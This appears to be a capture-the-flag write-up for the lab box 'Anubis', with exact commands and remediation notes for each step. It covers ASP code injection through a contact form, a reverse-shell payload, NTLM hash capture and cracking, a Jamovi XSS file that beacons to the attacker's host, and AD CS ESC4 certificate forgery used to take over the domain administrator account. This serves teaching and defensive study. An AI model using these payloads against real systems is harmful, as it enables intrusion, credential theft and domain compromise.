Anubis
Summary
Target Anubis ($TARGET) hosts a Windows IIS site on www.windcorp.htb whose Classic ASP contact form passes unsanitized user input directly to WScript.Shell, granting me SYSTEM on a Windows container (webserver01, $INTERNAL_HOST). From that foothold I located an internal software portal at the container gateway ($INTERNAL_HOST2); supplying my own IP in the portal's installer-fetch request coerced an outbound NTLM authentication that Responder captured and Hashcat cracked, yielding localadmin's password.
Those credentials unlocked the domain Shared SMB share, which contained Jamovi analytics files periodically opened by the domain user diegoCruz on the EARTH workstation. Exploiting CVE-2021-28079 — Jamovi's failure to sanitize Electron column names — a script-tag payload injected into Whatif.omv executed my own Node.js code as windcorp\diegoCruz.
As diegoCruz, the sole member of the webdevelopers group, I discovered GenericAll rights over the AD CS Web certificate template. Appending Smart Card Logon and Client Authentication EKUs to that template allowed enrollment of a certificate for the domain Administrator; PKINIT authentication with that certificate produced an Administrator TGT, achieving full domain compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD2="<the-password-you-recovered, for localadmin>"Attack path — how the box was taken
Exact commands 3
Register all discovered virtual hosts for local resolution.
$ echo "$TARGET www.windcorp.htb windcorp.htb softwareportal.windcorp.htb earth.windcorp.htb" | sudo tee -a /etc/hostsTargeted service-version scan on discovered ports.
$ nmap -sV -sC -p 135,443,445,593,49702 $TARGET -oN anubis-nmap.txtConfirm the contact form action endpoint /save.asp.
$ curl -sk --resolve www.windcorp.htb:443:$TARGET https://www.windcorp.htb/ | grep -Ei '(<form|action=|\.asp)'Exact commands 3
Probe — confirm RCE; expect nt authority\system in the HTML response.
$ curl -skG --resolve www.windcorp.htb:443:$TARGET 'https://www.windcorp.htb/save.asp' --data-urlencode 'name=ops' --data-urlencode 'email=ops@windcorp.htb' --data-urlencode 'subject=status' --data-urlencode 'message=<% Set s=Server.CreateObject("WScript.Shell"):Set e=s.Exec("cmd.exe /c "&Request("cmd")):Response.Write("<pre>"&Server.HTMLEncode(e.StdOut.ReadAll)&"</pre>") %>' --data-urlencode 'cmd=whoami'Start my listener before sending the shell payload.
$ ncat -lvnp 4444Replace <BASE64_REVERSE_SHELL_PAYLOAD> with a base64-encoded PowerShell IEX reverse-shell targeting $ATTACKER_IP:4444.
$ curl -skG --resolve www.windcorp.htb:443:$TARGET 'https://www.windcorp.htb/save.asp' --data-urlencode 'name=ops' --data-urlencode 'email=ops@windcorp.htb' --data-urlencode 'subject=status' --data-urlencode 'message=<% Set s=Server.CreateObject("WScript.Shell"):s.Run "cmd.exe /c powershell -nop -w hidden -e <BASE64_REVERSE_SHELL_PAYLOAD>" %>'FixSanitize contact-form input and remove shell-execution objects from the ASP handlerCritical
Exact commands 3
Start Responder on my tun0 interface to capture inbound NTLM hashes.
$ sudo responder -I tun0 -dwvRun from the container shell — coerces the portal to fetch from $ATTACKER_IP, triggering NTLM authentication to Responder.
$ powershell -NoProfile -Command "Invoke-WebRequest -UseBasicParsing -Uri 'http://$INTERNAL_HOST2/install.asp?client=$ATTACKER_IP&software=jamovi-1.6.16.0-win64.exe' -Headers @{Host='softwareportal.windcorp.htb'}"Crack the captured NTLMv2 hash; yields $PASSWORD2.
$ hashcat -m 5600 localadmin.hash /usr/share/wordlists/rockyou.txt --forceFixRestrict the software portal's outbound installer-fetch to trusted internal addresses onlyHigh
Exact commands 2
Confirm credentials and enumerate accessible SMB shares.
$ nxc smb $TARGET -u localadmin -p "$PASSWORD2" -d windcorp.htb --sharesDownload all Jamovi analytics files from the share.
$ mkdir -p /tmp/anubis-omv && smbclient //$TARGET/Shared -U "windcorp.htb/localadmin%$PASSWORD2" -c 'cd Documents\Analytics; prompt OFF; mget *.omv' && ls /tmp/anubis-omv/*.omvFixEnforce least-privilege write access on the Shared analytics directory and rotate the localadmin credentialHigh
Exact commands 4
Preserve the original before modification (restore after the exercise).
$ cp /tmp/anubis-omv/Whatif.omv /tmp/anubis-omv/Whatif.omv.originalInject the XSS payload into the first column name and repack the .omv archive.
$ cd /tmp/anubis-omv && mkdir whatif-work && unzip -q Whatif.omv.original -d whatif-work && jq --arg p '<script src="http://'"$ATTACKER_IP"':8080/j.js"></script>' '.dataSet.fields[0].name=$p' whatif-work/metadata.json > whatif-work/metadata.json.new && mv whatif-work/metadata.json.new whatif-work/metadata.json && cd whatif-work && zip -r ../Whatif.payload.omv .Serve j.js from my machine; adapt the payload to a reverse shell for persistent access.
$ python3 -c "
import http.server, socketserver
handler=http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(('$ATTACKER_IP',8080),handler) as h:
h.serve_forever()
" &
echo 'const cp=require("child_process"); cp.exec(String.raw`powershell -NoProfile -WindowStyle Hidden -Command "$u=[uri]::EscapeDataString((whoami));Invoke-WebRequest -Uri (\"http://'"$ATTACKER_IP"':8080/beacon?u=\"+$u) -UseBasicParsing"`);' > /tmp/j.jsReplace the original file on the share with the poisoned version; restore the backup afterwards.
$ smbclient //$TARGET/Shared -U "windcorp.htb/localadmin%$PASSWORD2" -c 'cd Documents\Analytics; put /tmp/anubis-omv/Whatif.payload.omv Whatif.omv'FixPatch Jamovi for CVE-2021-28079 and prevent execution of untrusted .omv files from network sharesHigh
Exact commands 6
Enumerate AD CS for vulnerable templates; confirms ESC4 on the Web template with webdevelopers GenericAll.
$ certipy find -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -vulnerable -stdoutSave original template attributes and apply writable-template settings (enables arbitrary subject enrollment).
$ certipy template -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -template Web -save-oldEnroll a certificate for the domain Administrator using the now-writable Web template.
$ certipy req -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -ca windcorp-CA -template Web -upn administrator@windcorp.htb -out administratorAuthenticate via PKINIT; retrieves the Administrator TGT and NT hash.
$ certipy auth -pfx administrator.pfx -dc-ip $TARGET -domain windcorp.htb -username administratorVerify domain-admin access via pass-the-hash with the harvested NT hash.
$ nxc smb $TARGET -u administrator -H '<administrator_NT_hash>' -d windcorp.htb --sharesRestore the original template configuration after the exercise.
$ certipy template -u 'diegoCruz@windcorp.htb' -p '<diegoCruz_password>' -dc-ip $TARGET -template Web -configuration <saved_old_template.json>FixRemove over-permissive DACL on the Web AD CS certificate template (ESC4)Critical
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 135/tcp | rpc recon-sweep-discovered |
| 443/tcp | http recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 49699/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.